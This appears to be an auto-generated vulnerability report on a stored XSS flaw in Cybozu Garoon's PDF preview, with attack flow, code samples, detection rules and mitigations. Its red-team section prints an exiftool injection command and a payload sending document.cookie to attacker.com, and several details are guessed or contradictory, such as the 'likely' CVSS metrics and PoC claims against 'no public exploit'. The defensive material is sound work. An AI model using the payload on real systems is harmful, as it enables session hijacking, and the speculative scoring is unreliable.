CVE-2024-39457
Executive Summary
CVE-2024-39457 is a stored cross-site scripting (XSS) vulnerability in Cybozu Garoon versions 6.0.0 to 6.0.1, specifically within the PDF preview functionality. An authenticated attacker can inject malicious scripts into a PDF file that, when previewed by another logged-in user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or internal network reconnaissance. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for organizations using the affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise web application (Cybozu Garoon). No supply chain attack vector is identified.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): Low (attacker must be authenticated)
- User Interaction (UI): Required (victim must preview the PDF)
- Scope (S): Changed (script executes in victim's browser)
- Confidentiality (C): High (session data, internal info)
- Integrity (I): High (can modify page content)
- Availability (A): Low (can disrupt user session)
Threat Level: Medium. While no public exploit exists, the vulnerability is trivial to exploit once the injection point is identified. The lack of a patch increases risk for unpatched instances.
Deep Dive & Mechanics
The vulnerability resides in the PDF preview component of Cybozu Garoon. When a user uploads a PDF file, the application generates a preview (likely using a JavaScript-based PDF renderer). The flaw occurs because the application does not properly sanitize or escape user-controlled content embedded within the PDF metadata or annotations before rendering it in the browser.
Attack Flow:
- An authenticated attacker uploads a crafted PDF file containing malicious JavaScript in a metadata field (e.g.,
/Title,/Subject, or an embedded annotation action). - The attacker shares or makes the PDF accessible to other users.
- When a victim user opens the PDF preview, the application renders the malicious script in the browser context.
- The script executes, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: Lack of output encoding when rendering PDF metadata in the HTML preview. The application likely uses innerHTML or similar DOM manipulation without sanitization.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
// Vulnerable: Directly injecting PDF metadata into DOM
function renderPDFPreview(pdfData) {
var title = pdfData.metadata.title; // Attacker-controlled
document.getElementById('preview-title').innerHTML = title; // XSS
}
Patched Code (Expected):
// Patched: Sanitize and escape output
function renderPDFPreview(pdfData) {
var title = pdfData.metadata.title;
var safeTitle = document.createTextNode(title); // Escape HTML
document.getElementById('preview-title').appendChild(safeTitle);
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Access to a Cybozu Garoon instance (version 6.0.0 - 6.0.1)
- Valid user credentials with file upload permissions
Exploit Steps:
- Create a malicious PDF with embedded JavaScript. Use a tool like
exiftoolto inject XSS payloads into metadata.exiftool -Title="<script>alert('XSS')</script>" malicious.pdf - Upload the PDF to Garoon.
- Share the PDF link with the victim.
- When the victim previews the PDF, the script executes.
Advanced Payload (Session Hijacking):
// In PDF metadata
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual PDF uploads containing script tags in metadata.
- Use WAF rules to block PDF uploads with suspicious metadata.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable PDF preview functionality if not essential.
- Apply input validation and output encoding for all PDF metadata.
- Use a sandboxed iframe for PDF rendering.
Indicators of Compromise (IOCs)
- File Hashes: (Example only – no known malicious samples)
malicious.pdfSHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to unknown domains from Garoon server.
- HTTP requests containing
document.cookiein query strings.
- Log Entries:
- Garoon access logs showing repeated PDF preview requests from a single user.
- Web server logs with
alert(orfetch(in the User-Agent or Referer headers.
Detection Engineering
YARA Rule
rule CVE_2024_39457_PDF_XSS {
meta:
description = "Detects PDF files with potential XSS payloads in metadata"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-39457"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
$xss1 or $xss2 or $xss3
}
Sigma Rule
title: CVE-2024-39457 - Cybozu Garoon PDF Preview XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of XSS in Cybozu Garoon PDF preview
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/garoon/pdf/preview'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate PDF files with script-like metadata
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-39457 - Cybozu Garoon PDF Preview XSS Attempt";
flow:to_server,established;
content:"/garoon/pdf/preview"; http_uri;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2024-39457;
)
Remediation & Mitigation
Immediate Actions:
- Disable PDF Preview: If possible, disable the PDF preview feature in Garoon until a patch is released.
- Restrict Upload Permissions: Limit file upload capabilities to trusted users only.
- Web Application Firewall (WAF): Deploy WAF rules to block PDF uploads containing script tags or event handlers.
Long-Term Fix:
- Apply vendor patch when available.
- Implement Content Security Policy (CSP) with
script-src 'self'to prevent inline script execution. - Conduct a security audit of all file preview functionalities.
Workaround:
- Use a proxy to strip metadata from uploaded PDFs before they reach the application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-39457
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.